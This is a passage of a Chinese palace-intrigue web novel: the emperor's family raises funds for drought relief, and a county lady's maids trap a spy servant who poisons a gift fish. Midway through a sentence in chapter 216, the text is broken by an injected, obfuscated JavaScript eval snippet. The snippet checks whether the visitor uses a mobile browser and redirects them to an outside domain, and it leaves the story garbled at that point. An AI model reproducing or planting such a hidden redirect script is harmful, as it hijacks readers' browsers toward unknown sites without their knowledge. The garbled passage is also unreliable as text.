文昭帝阴沉着一张脸又看向了户部尚书:“韦武甸。” 户部尚书也赶紧跪下。 “你告诉朕,应急专库的银子一个铜板都不能动?各地常平仓、预备仓的存粮、存银,当真一丝周转的余地也无?各州府历年积欠的税赋、盐课、商税,就一点也催缴不上来?” 文昭帝每问一句,户部尚书的背就佝偻得越深。 等到他问完,户部尚书便跪下哭喊了起来: “皇上息怒!应急专库之银,乃为保江山根基而设,军饷俸禄、宫中用度皆系于此。臣实在不敢挪用分毫啊。” “存粮存银臣也已经命人拼命调度了,但山高路远,周转困难啊。” “如今局面,是臣无能,愧对皇上的信任!臣愿以死请罪。” 说完便要撞柱,户部侍郎瞅准时机一个健步冲上去拦住了他,但慢了一步,还是让他给撞晕了过去。 “好啊,你们这是要以死来威胁朕啊!”文昭帝一怒,朝臣们当即下跪,朝堂之上一片死寂。 最后还是太子谢元宸站了出来,平息了文昭帝的怒火。 “父皇息怒,还请保重龙体。” “儿臣知道父皇先前发怒并非为责难臣下,而是心系许州百万生灵。” “二位尚书方才所言,字字泣血,句句艰难。儿臣以为两位大人并非不尽心,而是天灾之酷烈远超常理。备粮耗如流水,工期紧如星火,人力物力皆已紧绷至极限。” “儿臣愿率东宫属官,裁撤用度九成,带头献出本年俸禄、田庄所出,以充赈资!并即刻晓谕宗亲勋贵、六部九卿,凡食朝廷俸禄者,皆减俸三成,以作表率!” 太子说完后,陆太傅第一个站了出来:“老臣愿追随太子殿下及皇上爱民之仁心,减俸三成,略尽绵薄。” 太子都给递了台阶,工部尚书也急忙跟上:“臣愿追随太子殿下,减俸三成!愿为陛下分忧,共克时艰!” 其他人不管情不情愿,此刻都毅然决然地附和。 “臣等附议……” * 朝会结束后,文昭帝将太子叫到了御书房,两人又商议了一下许州大旱的事情。 片刻后,文昭帝心疼地看着长子。 “宸儿啊,你方才在殿上讲,东宫用度要裁撤九成?这般苛待自己,接下来你可怎么周全啊?” 太子抿唇一笑:“父皇无需担忧,儿臣还有小石头呢。” 文昭帝一愣,眉眼里担心更多了。 那小子就是个不知人间疾苦的,花钱向来没个把门,有一两花一两,有十两恨不得花十二两,他能有多少存银啊。 “当初小石头被父皇罚俸禄,儿臣可是给了他不少银子。想必等他知道儿臣的窘境后,一定不会袖手旁观。”谢元宸微微一笑,脸上满是对弟弟的信赖。 他话音刚一落下,就听到小太监跑进来传话。 “启禀皇上,启禀太子殿下,永安王来了。” 谢翊宁一来,就掏了一沓银票塞到太子手里。 文昭帝粗粗扫了一眼,那一沓银票全是千两一张的! 算下来,至少得有两万两了。 “太子哥哥,你可千万别饿着自己了。不对,你饿不着,你可以到父皇这里蹭吃的。那你嘱咐太子府的人,可别饿着嫂嫂还有婉仪和令仪了。” 谢元宸忍俊不禁,还有些小得意地看向了父皇。 看吧,他就说了吧,小石头不会不管他的。 “好,我都记下了。”谢元宸笑着接过了弟弟给的银票。 文昭帝幽怨地看向谢翊宁。 “你上回入宫只给了朕三千六百两,怎么到了太子这,你就给那么多?” 谢翊宁理直气壮道:“反正我的都是父皇的呀。您上回又没说全要儿臣的私银,我给的是搜出来的银子,那不一样。” 谢元宸听到这话二话不说,又把手里的银票分了一大半给文昭帝,替弟弟找补:“小石头那是为了让儿臣借花献佛,让儿臣也给您分忧。父皇,这都给您。” 看着他们这兄友弟恭的模样,文昭帝忍不住笑了。 他将银票还给了太子。 “行了行了,都回去吧。过些日子就是你们母后的诞辰,别忘了给她送贺礼,然后入宫陪她一块用膳。” “嗯,父皇别担心,儿臣给母后准备了一份大礼,她一定会很开心的。”谢翊宁眨巴着眼,露出了神秘的笑。 “哦?什么大礼?” 一句话勾起了两人的好奇心。 “自然要等母后生辰那日才告诉你们呀,现在说了,哪里还有什么惊喜。”谢翊宁坚决不说。 文昭帝和谢元宸知道他的性子,便没有追问,放他出宫去了。 只是转头就听到了隐麟卫传来消息:永安王在变卖府中的奇珍异宝。 第213章 王爷攒嫁妆 这可把文昭帝吓了一跳。 这孩子从不缺钱,如今是遇到什么困难了么,竟然要将王府里的宝贝给卖了。 他赶忙将人叫到了宫里。 “你可是缺银子花了?” “不缺。”谢翊宁摇了摇头。 “那为何要变卖府中财物?”文昭帝皱紧了眉头。 “父皇先别问,之后您就知道了。”谢翊宁还是不肯说。 “你不会学人家去了赌坊吧?”文昭帝警惕地看着小儿子。 “你若敢学那些纨绔子赌钱,朕立刻命人打断你的狗腿。” “父皇说的什么话。”谢翊宁摸了摸鼻尖,不敢看他的眼睛。 文昭帝一看就知道这小子在撒谎。 他当下就急了,看向严公公:“朕的紫檀木戒尺呢,拿过来,朕要抽死这小王八犊子,好的不学,竟然跟人家学赌钱。” “别别别,父皇,儿臣卖东西和赌钱真的没关系!”谢翊宁上蹿下跳,闹得整个御书房鸡飞狗跳。 “你不说是吧,朕问隐麟卫。” 文昭帝气呼呼地看着他,当即将隐麟卫首领叫了过来。 “秦朔,你告诉朕,这混小子近日可去了赌坊?” “回皇上,永安王确实把京中大大小小的赌坊都去了一遍。”秦朔顶着谢翊宁的死亡凝视,面无表情地回答。 “你小子还敢撒谎欺骗朕了?!你这是欺君之罪你知不知道。” 文昭帝气坏了。 这下是真的要拿戒尺抽人了。 “戒尺呢?朕的戒尺呢?”他四处张望。 这下严公公不敢再藏着戒尺了,赶忙交给他。 但刚给完戒尺,严公公立刻扑向了皇上的大腿,哭求道:“皇上,使不得啊!永安王身子娇贵,您若将他打出个好歹来,心疼的不还是您和皇后娘娘么……” “让开,朕才不会心疼他!小兔崽子翅膀硬了,竟然敢学坏了!”文昭帝怒气冲冲,但严公公死活不撒手。 谢翊宁趁机看向秦朔:“秦指挥使,你说清楚啊。本王是去了赌坊没错,但本王很快就被请走了啊!” “是,皇上,王爷是去了赌坊,但没一会儿就被请出来了。”秦朔跟着回话。 “怎么一回事?”文昭帝紧握着戒尺,等着秦朔回话。 “王爷进赌坊赢了别人银子。管事的认出他,说赌坊小本生意经不起他折腾,就让他拿着赢到的银子离开了。” 秦朔把来龙去脉解释了清楚。 谢翊宁点头如捣蒜:“他们玩不起。为什么别人赢钱就可以继续玩,我赢了一千两就要把我请走。还让我以后都别去了。” 秦朔低头腹诽:还能因为什么,因为您的身份呗。 寻常客人去了赌坊,赌坊的人敢出老千,让他们先赢后输。 您去了,谁敢出千让您输啊。 一千两银子就当是孝敬钱了。 文昭帝也想明白了这一出,他板着脸看着儿子:“那你说清楚,你为何要去赌坊?你若不说,朕就告诉你母后。” “儿臣说还不行吗。”谢翊宁垂头丧气地开口。 “儿臣想在母后生辰那日给她凑十万两银子……” “你凑十万两银子买什么?金山银山啊?”文昭帝忍不住脱口而出。 “是凑十万两银子买粮,以母后的名义捐赠给许州大旱的百姓。”谢翊宁解释了起来。 说到这,他有些羞赧。从耳根开始,整张脸都红了起来。 他一直以为自己还是有点钱的。 直到前日他给太子哥哥送了两万两银票后。 隔天王府大管家就捧着厚厚的账册,愁眉苦脸地寻到他跟前,小心翼翼地道: “王爷,府里全年的进项统共五万两的净利,已然见底了。您昨日送进宫的那份厚礼,便已将小半年的进项,全数填进去了。” 他这才知道,他府中一年进项不过五万两而已。 之前一直不缺钱花是因为没什么可花钱的地方,京城里什么好玩的他都玩过了,不稀罕玩。 府中的那些珍宝稀罕玩意,父皇母后太子哥哥都会为他寻来,用不着他花钱。 但他重生后就不一样了。 暗中打探消息要花钱,培养人手要花钱…… 找到小恩人之后,他还打算给小恩人攒嫁妆,桩桩件件,要花钱的地方实在太多了。 这一花,一不小心就花超了。 母后今年寿诞恐怕会撞上许州大旱消息传入京城的那段时间,他担心母后的名誉会被人拿来做文章。 上辈子因为大旱坊间曾流传父皇失德招来天谴的传言,这辈子父皇的名声已经在三月暴雨时抢救回来了,但母后却不同。 王贵妃娘家当初对母后当了正妃很不满,他们觉得王家才是名门望族,凭什么让崔家破落户生的女儿当正妃。 这些年没少在暗地里搞小动作。 因而他便想着暗中准备好银子,以母后的名义捐出去,这样若有人再借机生事,也难挑起民怨。 他才不要母后被任何人攻讦。 即便是误会也不行。 而且,小恩人的及笄日也快到了。 那可是及笄日! 那么大的日子,当然得送厚礼。 他盘算了一下王府的库银,觉得有些囊中羞涩,这才做出了变卖宝物的决定。 上回才觉得小恩人穷困潦倒。 这下好了,小恩人开了流光阁日进斗金,反倒是他捉襟见肘了。 “反正那些东西儿臣都看腻了,高价卖出去也不亏。此事不仅能给母后换来贤名,还能救下许州无辜百姓。儿臣觉得这笔买卖很值得。”谢翊宁振振有词。 文昭帝听完儿子所言,一瞬间就心疼了。 他将戒尺放回了御案上,幽幽地叹了一口气:“傻孩子,你母后若是知道了你这么做的原因,怕是要把眼睛都哭肿了。” “那父皇您别告诉她不就好了。”谢翊宁也不想让母后担心。 “说吧,你还差多少银子。”文昭帝无奈地看着儿子。 谢翊宁默默比了个数字。 看到他比划的数字,文昭帝皱起了眉头。 他私库一共也就十万两现银。 小儿子这一缺就是三万两,让他掏,还真是有点肉疼。 罢了罢了,都是为了皇后,都是为了儿子的一番孝心,更是为了百姓。 这银钱,他掏了就掏了吧。 文昭帝扭头看向严公公:“去朕的私库取三万两给永安王带走。” 谢翊宁猛地瞪大了眼睛。 他比划的是三千两。 父皇竟然给了三万两?! “儿臣多谢父皇赏。”谢翊宁笑眯眯地道谢,没有解释这个美丽的误会。 谢翊宁美滋滋地拿着父皇给的银钱回了王府,就被告知晏逐星来了。 谢翊宁有些惊讶。 除了上回给他生辰礼,晏逐星好像还是第一次亲自来王府找他。 难不成是出什么事了? 第214章 王爷感动哭 想到可能是出了什么要紧事,晏逐星才会亲自登门。 他赶忙快步地走到了会客厅。 晏逐星瞧见他,当即起身将一个盒子交给了他。 “这是何物?”谢翊宁有些惊讶。 他说完就要打开,但却被晏逐星按住了手。 “王爷能不能等我走了再打开。” “好。”谢翊宁见状,便将小盒子放到了一旁。 “你今日寻本王,所谓何事?”他语气里带着自己都没察觉的关心。 “没什么大事,就是想和王爷说一声,我明日就要搬到摘星山庄长住了。日后王爷有事寻我,可以派人去那里找我。”晏逐星微微一笑。 她给那座温泉山庄重新取了名。 “好。”谢翊宁点了点头。 说起这事,他又道:“对了,我府里有位管事嬷嬷,送你吧。还有你缺什么人,一并在王府里挑了吧。” “外边采买的那些人,不懂宫中的规矩,如今你是县主了,身边带着的人得靠得住,拿得出手。王府的人,都是母后精心调校过才给我的,都很靠谱。” 晏逐星眼睛瞬间亮了起来。 “王爷愿意割爱,那可再好不过了。太后娘娘赐了我一个姓苏的嬷嬷,我正发愁怎么对她呢。” “太后这手伸得可真长。”谢翊宁眉头皱了起来。 不过好在他的计划已经开始了,过不了多久太后就没法蹦跶了。 现在先暂且让她得意一段时间吧。 谢翊宁把进展跟晏逐星说了一下。 晏逐星皱眉思索了起来:“王爷,您说景王会上当么?” 他们这个计划,如果景王不上钩,那可就白费心机了。 “放心吧,他一定会上当的。”谢翊宁露出了胸有成竹的表情。 景王是王贵妃的儿子,朝华长公主去世后,王贵妃就时常让景王和女儿去长乐宫陪伴太后。 目的很明显,想要拉拢太后和裴家站到他们身后去。 所以景王若是见了那难得一见的白玉观音,一定会想办法买了送去孝敬太后的。 两人又说了一会儿话,晏逐星才领着王爷给她的嬷嬷和几个丫鬟还有护卫离开了。 走的时候,晏逐星都恍惚了。 不是说只送一个嬷嬷么,怎么身后就跟了那么一长串人了。 她回头看着跟在身后的人,忍不住开口:“你们想清楚了么,当真愿意离开王府,跟着本县主去京郊庄子?” “跟随县主,老奴心甘情愿。”花嬷嬷笑着开口,眼尾都眯出了好几条褶子。 她可不傻。 这位县主大概率就是以后的永安王妃了。 提前跟在她身边当她的心腹,日后还怕没有好前程么。 那些不愿意来的人,日后怕是要懊悔得拍大腿。 其余的丫鬟也忙跟着点头:“奴婢都是自愿跟随县主的。” 见他们丝毫没有不情愿的样子,晏逐星也就收下了他们。 晏逐星走后,谢翊宁便迫不及待地打开了她送来的那个盒子。 打开一看,里边竟然是整整齐齐的四万两银票。 他一愣,旋即反应了过来。 他卖王府宝贝的事情,被晏逐星知道了! 她怕他不愿意接受这笔银子,所以才说等她离开之后再打开。 这四万两银票,想必用了上回秦王妃留下的那笔钱,还有她最近流光阁的收益。 谢翊宁算了算,有一瞬间鼻酸。 小恩人这是把身上所有的银钱,都给他了啊。 看吧,他就说了吧,小恩人就是天底下最好最好的姑娘了。 日后谁要是娶到了她,真是十辈子修来的好命。 这么一想,他竟然隐隐有些嫉妒了。 但转念一想,他也很好命,有疼爱他的父皇母后和兄长,还能得到小恩人救命,重活一世。 要嫉妒,也是别人嫉妒他! 谢翊宁想了想,这毕竟是晏逐星的一番心意,他没有马上送回去。 反正她的及笄日也快到了,不如那个时候再连着及笄礼物一块给她送回去! * 景王谢明奕在太白楼雅间自斟自饮,正觉得有些无聊,隔壁刻意压低的说话声就钻进了耳朵。 那声音带着浓重的哭腔,让他想忽略都难。 “李兄,你说我怎么办啊!”一个汉子声音发颤。 “家里老娘病得快不行了,等着银子抓药救命!我就指着祖传的那尊白玉观音了。可那杀千刀的当铺,那么好的羊脂白玉观音,他们居然只肯出二百两!这不是要逼死我吗!” “二百两?!”另一个声音惊呼出声。 “陈老弟,你家这尊观音玉质油润,雕工也精细,少说也得值个五六百两。当铺这帮黑了心的,这是趁火打劫啊!” 白玉观音? 这几个字像钩子,瞬间钩住了谢明奕的耳朵。 母妃让他挑些好东西送给太后,讨太后欢心,可他挑了好些时日,都没挑到一个合适的。 听到白玉观音他瞬间就动了心思。 太后喜爱礼佛,若能得一尊上好的白玉观音送她,想必她老人家定会对他多几分喜爱。 他立刻放下酒杯,身体不着痕迹地贴到了雅间门边。 太白楼的雅间门虽关着,但隔音也就那么回事,尤其里面两人情绪激动,声音根本压不住。 谢明奕屏息凝神,竖起耳朵,把隔壁的对话听得一清二楚。 只听那姓陈的汉子哭腔更重,充满了走投无路的绝望:“李兄,我也知道他们故意压价,可除了当铺,我一时半会儿上哪找买主?我能等,可我娘的病等不得啊!” 说到最后,已是泣不成声。 谢明奕轻轻推开了一道门缝,里边说话的两人正抱头痛哭,压根没注意到他。 他的眼神一瞬间就被桌上摆着的那尊白玉观音给黏住了。 第215章 想要抖威风 那白玉观音通体无瑕,纯净得如同凝结的月光,温润中透着莹莹宝光。 绝非寻常羊脂玉可比。 雕工更是登峰造极。 观音面容慈悲庄严,衣袂飘然欲飞,线条流畅如行云流水。 整尊佛像笼罩在一层圣洁柔和的光晕之中,令人望之心神宁静,不敢亵渎。 就是它了! 谢明奕脑海中闪过了势在必得的念头。 这样的好东西,太后一定会喜欢。 他二话不说推门而入,把里边抱头痛哭的两人吓了一跳。 “打扰了。本……在下路过听闻兄台要卖祖传的玉观音,正巧家中长辈喜好礼佛,不知兄台可否割爱?”谢明奕指着桌上的玉观音笑吟吟地开口。 “你,你能给多少银子?”陈三河一脸警惕地看着他,眼里带着一丝期待,又多了一丝急迫。 近距离看到那座白玉观音后,谢明奕愈发笃定了要拿到手的决心。 他微微一笑,看向了陈三河:“一口价,五百两。如何?” 听到这话,陈三河呆在了原地。 一旁的李年推了他一把:“陈老弟,你愣着作甚,还不赶紧答应了。” 陈三河却犹豫地看着桌上的白玉观音,咬牙又道:“五百两少了,六百两行不行?” “别以为我家主子心善,你就可以蹬鼻子上脸!”谢明奕的随手当即拔剑怒喝。 陈、李二人当即吓得脸色大变,一块跪到了地上。 陈三河哀求道:“这是我家传宝物,若不是到了山穷水尽之际,我也不会将它出售。贵人行行好,六百两收了吧。” 谢明奕轻笑一声,抬手示意随从将剑收起来。 “也罢。念在这位兄台孝心可嘉的份上。六百两就六百两吧。滕英,掏钱。” 那位名唤滕英的随从这才收起了剑,不情不愿地点了六百两银票给陈三河。 “多谢贵人,多谢贵人。”陈三河连连磕头,而后方才起身拉着李年快步离开。 他们一走,谢明奕脸上的笑容就消失不见了。 他冷冷吩咐了下去:“查查,这两人是什么人,家中这白玉观音哪来的。” “是。”滕英应下,当即命人去查。 谢明奕抱起那尊白玉观音,爱不释手。 命人仔细检查观音没有任何可疑之处后,收进了宝匣之中,等着下属回禀。 若今日卖观音那两人身份没有疑点的话,明日他就将这观音送入宫给太后。 约莫过了大半日的功夫。 滕英回来了。 “启禀王爷,属下已经查清楚了。” “卖白玉观音的那陈三河,祖上是宫中内侍出身。他的母亲半年前就得了病,治病几乎掏空了家底。听闻十日前他就在抱着白玉观音到处问价了。” “另一个人叫李年,是他的好友。与他是邻居,一切正常。” 他这么一说,谢明奕便觉得合情合理了起来。 祖上是宫中当太监头子的,想必当初肯定偷藏了不少好东西。 这白玉观音多半也是宫中出去的宝贝。 这么一想,他便放心了。 翌日,他便捧着宝贝去了长乐宫。 果不其然,太后瞧见这白玉观音后,罕见地露出了笑容。 这段时间她就没一个顺心的事。 太后命人将白玉观音收下,放到了小佛堂里。 “景王有心了。”她一脸慈爱地看着谢明奕。 “孝顺皇祖母,是我们应该做的。”谢明奕表现得十分乖巧。 一个有心讨好,一个故意卖好,祖孙二人相处得十分融洽。 约莫一刻钟后,太后忽然开口:“今日小厨房做了一道樱桃肉,你留下陪哀家一块用膳吧。” 谢明奕大喜过望。 他来了那么多回,太后总算将他留下用膳了。 “孙儿谢皇祖母恩典。”他高高兴兴地应下。 太后又道:“你既入了宫,想必你母妃定是念着你的。不如让她一道过来,到哀家的长乐宫用膳吧。哀家倒也有些时日没见着她了。” 谢明奕更高兴了。 太后这还是头一回召后宫妃嫔过来陪同用膳。 他当即道:“母妃若是知道皇祖母慈恩垂怜,定然喜极而泣!儿臣这就派人去将母妃请来。” 没过多久,王贵妃便匆匆赶了过来。 “臣妾给太后娘娘请安。” “坐吧。”太后微微颔首,王贵妃乖巧坐下。 她不知道太后将她请来为的是哪一遭。 直到饭后,太后忽然开口:“景王,过些时日就是皇后的生辰日了,你给哀家送了这样好的白玉观音,皇后的寿礼可曾备下?” 谢明奕一怔。 满后宫皆知,太后和皇后关系不睦,这个时候太后忽然提起皇后是什么意思? 王贵妃给了儿子一个眼神,谢明奕回过神来赶忙道:“启禀皇祖母,母后的生辰礼孙儿已经备下,是一个蟠桃献寿的玉雕盆栽。” “今年不比往年,许州即将大旱,太子都削减了东宫九成用度。皇后寿宴也减少了规制,这个时候你若送这样贵重的礼物……”太后没说完,意有所指。 谢明奕还没咂摸出太后话外的意思,王贵妃懂了。 她笑道:“太后娘娘说得极是。臣妾打算送一份手抄的佛经恭贺娘娘寿诞,皇后娘娘应当不会嫌弃妾身送的礼物寒酸吧?” 见她懂了,太后也笑了。 “正是如此,今年送礼,不可铺张浪费,一切以百姓为重。” 王贵妃附和着点了点头。 心下明了,太后娘娘这是想让皇后难堪。 一国之后,千秋寿诞,若收到的贺礼尽是些寒酸之物,颜面何存? 景王谢明奕也反应了过来,他们送了这样不值钱的玩意,皇后不仅不能动怒,还得咽下这个哑巴亏夸赞他们心怀黎民百姓。 想到可以在皇后面前抖威风,谢明奕就兴奋了起来。 “孙儿谨记皇祖母教诲。”他忙不迭起身,躬身一礼。 “母后向来喜爱清雅,届时孙儿定当在晨露未晞之时,亲往山野采摘些花草奉上。虽非金玉奇珍,却也得几分野趣,想必母后会喜欢的。” 太后唇边那抹笑意变得更深了。 倒是个识趣的。 说得不错,那崔氏可不就只配得上这路边的野草闲花? “你一片心意,皇后向来宽厚仁慈,又怎会苛责于你呢。”太后笑呵呵地开口。 随后终于说出了真正的目的。 第216章 到处在挑拨 太后慢悠悠道:“皇后寿宴,皇上新封的那位令嘉县主也该到场了。初来乍到的,只怕是处处生疏。你们可得费心多照看一二。” 她顿了顿,眼风漫不经心似地掠过王贵妃母子二人,再次提醒。 “万万不可让她失了体面,叫人看了笑话。” 王贵妃母子迟疑片刻后,点头应下。 太后微微一笑:“此番用心若是周全了,哀家自会将你们这份忠心都放在心上。待来日**,哀家总不会忘了你们的好处。” 说完,她便称累了,让人将他们送走。 离开了长乐宫,回到王贵妃的景和宫。 谢明奕迫不及待地开口询问:“母妃,太后究竟是何意?皇后生辰那日,咱们到底该怎么做?” “太后话都说得那么明白了,你怎么没听出来呢。”王贵妃咬牙切齿。 “她是想借我们的手惩戒那位令嘉县主呢。” “可父皇不是说因为太后喜爱那民间女子,缓解了太后丧女之痛,所以才封她为县主的么?”谢明奕一时间没反应过来。 “那位县主的封号是皇后拟定的,她和永安王关系密切,你觉得太后能容忍她么?”王贵妃冷笑。 “更别提驸马曾说过令嘉县主跟那两位的死有关联。太后心底怕是记着呢。” “原来如此。”谢明奕恍然大悟。 “你近来常往长乐宫走动,倒是得了太后的青眼。只要此事办成,太后与裴家自会成为你的倚仗。”王贵妃娓娓道来,点明利害。 “届时,太子若仍无所出,他那东宫之位怕也未必坐得安稳。” 话点到为止。 谢明奕心潮澎湃。 是啊,父皇并非嫡长子都坐上了那个位置,为何他坐不得。 太子成婚多年只有两个女儿,怕是命中无子的命。 “儿臣知晓分寸。那皇后寿宴那日‘关照’令嘉县主之事,就有劳母妃了。”谢明奕恭敬地行了一礼。 “放心吧,有母妃在呢。”王贵妃笑着应下了。 当初她输给了崔家一个破落户的女儿,她的儿子绝对不能输给崔凝华的儿子。 真不知道崔凝华哪里来的好命,得了皇上的偏宠。 想到这,王贵妃就咬牙切齿。 若不是崔凝华当初宫宴上为救先太后挡了一刀,得了先太后的青眼,这才力排众议册封她为成王妃。 不然凭她一个门庭败落的伯府之女,也想入主成王府? 她的家里人又怎会鸡犬升天,成了如今的皇亲国戚,得了忠国公的封号。 最可恨的是当初皇上娶她为正妃后,让她生下谢元宸两年无所出后才在他们各家的威压下,让侧妃诞下孩子傍身。 生了谢翊宁后更是给了他们无上尊荣。 不知道是不是吸取了先帝的教训,当今圣上一登上皇位便立刻册封长子谢元宸为太子,而不是拖到快不行了才定下太子。 这一举动直接掐灭了后宫妃嫔和世家们的希望。 可后宫四妃,谁的家世不比皇后的好,谁又心甘情愿屈居于她之下呢。 皇后的这场寿宴,她一定会好好准备。 届时就拿那个令嘉县主来开刀,当做送给太后的投名状吧。 到时候,她再将皇后寿宴“奢靡成风”一事宣扬出去,她就不信那些黎民百姓能不恨。 “崔凝华啊崔凝华,生辰日撞上大旱,老天都要你亡。你的好日子要到头了。”王贵妃冷笑。 她就不信,崔凝华能一直好运下去。 * 摘星山庄。 晏逐星收到了皇后给的请帖。 几日后就是皇后的生辰了,晏逐星正琢磨着给她送什么生辰礼呢。 太后赐下的苏嬷嬷堆着笑脸道:“皇后娘娘对县主恩重如山,她的生辰礼您可不能马虎,自然是越贵重越好。” 花嬷嬷却不赞成地皱起了眉头,她一边给晏逐星打扇子一边道:“苏姐姐此言差矣,皇后娘娘懿旨明言一切从简,如今许州大旱,宫中若还奢靡成风,岂不令天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944298|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下心寒?县主若送那等扎眼的贵重之物,岂非……” “岂非什么?!”苏嬷嬷像是被踩了尾巴,急声打断,“花妹妹这话说得倒显得咱们县主不懂事了!皇后娘娘体恤百姓是娘娘的仁德,可咱们做臣下的,难道就能忘了尊卑孝道?” “县主初入宫闱,头回给皇后娘娘贺寿,这礼数上若轻慢了,旁人怎么看?娘娘心里又会怎么想?” 反驳完花嬷嬷,她转向晏逐星,语气恳切道:“依老奴看来这头一份寿礼啊,就得体体面面、风风光光,才衬得起您的身份,也显得您把娘娘的恩典时刻放在心上。” “县主,您说是不是这个理儿?” 花嬷嬷气得手都抖了,扇子差点脱手。 太后送来这个老货果然没安好心。 听起来像是在替县主考虑,实际上全是挑拨。 她正欲开口再劝,就听到晏逐星开口了。 “好了花嬷嬷,苏嬷嬷也是为了我好,此事就听苏嬷嬷的吧。” 听到这话,苏嬷嬷得意地看了花嬷嬷一眼。 花嬷嬷想要反驳,但主子开口了,她自然不好多说,只是幽幽的叹了一口气。 接下来的几天,晏逐星都没有提过要给皇后送什么贺礼。 直到皇后诞辰前夜,晏逐星提前回了京中宅院小住,苏嬷嬷还是没看到她准备了什么礼物。 “县主,难不成您明日入宫,什么也不带么?”她忍不住开口。 “谁说我不带了。”晏逐星指了指一个被黑布盖起来的东西,“那就是给皇后娘娘的生辰贺礼。” 苏嬷嬷大吃一惊。 那是什么时候买回来的,她怎么不知道。 如今花嬷嬷掌管着晏逐星的衣裳首饰和库房钥匙,而她负责管着内院的丫鬟。 但这些日子,她明明没看到有丫鬟出了摘星山庄啊。 晏逐星从哪弄来的礼物? “老奴斗胆敢问县主,给娘娘准备的是何礼物?”她堆起一个讨好的笑,看向晏逐星。 第217章 人赃并获了 “明日嬷嬷就知道了。”晏逐星微微一笑。 她扭头看向了九栀,收起笑容,板着脸道:“总而言之,此物必须小心照料,否则若是出了什么岔子,我唯你是问。” “是,县主。奴婢一定彻夜不眠地守着,绝对不让它出事!”九栀举手发誓。 说完就神秘兮兮地把那个黑布罩着的东西搬进了屋子里。 苏嬷嬷仔细张望,也只看出了一个形状,瞧着像是一个椭圆的物什,看九栀搬着有些吃力,她猜测那物件应该挺沉,或许是瓷器? 但是什么,晏逐星死活不说,九栀更是不许她靠近半步。 苏嬷嬷抓心挠肝地想知道。 太后娘娘派给她的第一个任务就是让晏逐星在皇后生辰宴上出糗,她若办不好,太后还怎么信她。 晏逐星暗中给皇后娘娘准备生辰礼这事,她竟然全然不知。 太后知道了恐怕要失望。 她愈发着急了。 于是她趁着晏逐星中午小憩时,悄悄摸到了九栀看守的屋子里。 她刚到,就听到双鲤在和九栀指着那块黑布闲聊。 “九栀姐姐,你就让我看一眼嘛。” “不行,县主说了,任何人都不可以看。” 苏嬷嬷大喜过望,立刻把耳朵贴到了门上,想要听清她们在说什么。 双鲤那死丫头最擅长死缠烂打,和九栀的关系也不错,想必她一定可以从中问出有用的东西。 “九栀姐姐,你就让我看一眼嘛。我还没看过五彩颜色的鱼呢……”双鲤话还没说完,就被九栀捂住了嘴。 “嘘。当心隔墙有耳!”她说完似乎无意地瞥了一眼苏嬷嬷的位置。 苏嬷嬷心跳如擂鼓。 原来如此! 晏逐星要给皇后娘娘送的生辰礼是一条稀罕的鱼。 怪不得神神秘秘不让人知道呢。 她赶忙出府,往宫里递了消息。 “她信了么?”苏嬷嬷前脚一走,后脚九栀就松开了捂住双鲤的手。 “走了。”九栀早就听到苏嬷嬷靠近了,所以才会给双鲤暗示让她赶紧把话说出来,骗她上钩。 没想到,苏嬷嬷比她们想的更好骗。 “你说她会动手么?”双鲤有些发愁地看着瓷缸里的那条鱼。 “她若再不动手,这鱼就要掉色了。” 五彩颜色的鱼哪有那么好找啊。 她和衔蝉姐姐弄了老半天才让这鱼染上了红色,黄色,黑色和蓝色,还有原本的一点儿白色。 生拼硬凑,造出了一条五彩斑斓的鱼。 为的就是用这条“假鱼”钓苏嬷嬷这条“大鱼”。 “放心吧,为了让县主丢脸,她肯定会弄的。就算不弄死,明天宫里若有针对县主的人提前得了消息,恐怕也会动手。”九栀笑眯眯地捏了捏她的脸。 “嘿嘿,这倒也是。”双鲤忍不住用蒲扇扇了扇风,“京城这天,也忒热了。还是咱们庄子凉快。” “这才五月下旬就热成这样了,六月酷暑时,岂不是更难熬。” “今年确实比往年更热,怪不得许州大旱了。”九栀也觉得这天闷得难受。 幸亏她们只在京城呆一晚上,明天就可以回庄子里了。 两人闲谈之际,苏嬷嬷也悄悄回了晏宅。 太后那边已经收到了她的消息,并且给了准确的指示——天亮之前弄死那条鱼。 让晏逐星来不及准备新的贺礼,让她和皇后离心。 苏嬷嬷想着太后娘娘承诺的好处,她的孙儿可以入鹿山书院,她一颗心就冷静不下来。 她看了看掌心里用布包裹着的那根针,下定了决心。 等九栀打瞌睡时,就出手将这根带毒的针刺到鱼鳃去。 这个毒要等一个时辰后才发作。 等快天亮时她才动手,这样即便之后鱼**,晏逐星也怀疑不到她头上。 等他们反应过来要查,这根针她早就扔了。 苏嬷嬷想着这事,心里十分亢奋,一夜未眠。 直到天空泛起了鱼肚白,她困得都打哈欠时,发现九栀竟然也在打瞌睡。 她趴在桌上,面前放着的是盖 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那毒效分明要一个时辰后才会发作。 这时候,她哪里还不明白。 她这是遭人算计了啊!!! 双鲤听到声音快步跑了进来,瞧见这一幕,大声嚷嚷了起来:“苏嬷嬷你竟然用**谋害这吉兆之鱼!县主千辛万苦寻得这五彩锦鳞,你竟敢下此毒手?!” 九栀立刻接口:“这五彩锦鳞乃天赐福瑞,应皇后娘娘仁德而现。县主本欲在今日宴上献此祥瑞为娘娘祈福。你如今竟然毁了它?!” 双鲤跟她一唱一和:“你这岂止是毁了一件寿礼,你这是在断皇后的福泽,损我大虞朝的祥瑞啊!此等大逆不道之举,苏嬷嬷,你究竟是何居心?!” 苏嬷嬷这下终于体会到了什么叫百口莫辩。 她纵然知道这是一场瓮中捉鳖的戏码也无法狡辩,毕竟她被抓了个人赃并获。 第218章 不懂县主了 院子里的动静很快就将其他人给惊醒了。 晏逐星领着花嬷嬷和衔蝉一块过来,面色冷若冰霜。 看到晏逐星那一刻,苏嬷嬷僵硬的脑子终于开始转动。 九栀和双鲤哪有那么大的胆子陷害她,这一定是得了晏逐星的示意。 晏逐星根本就没有在乎过她。 她之前表现出来对她的客气,也都是假的!!! 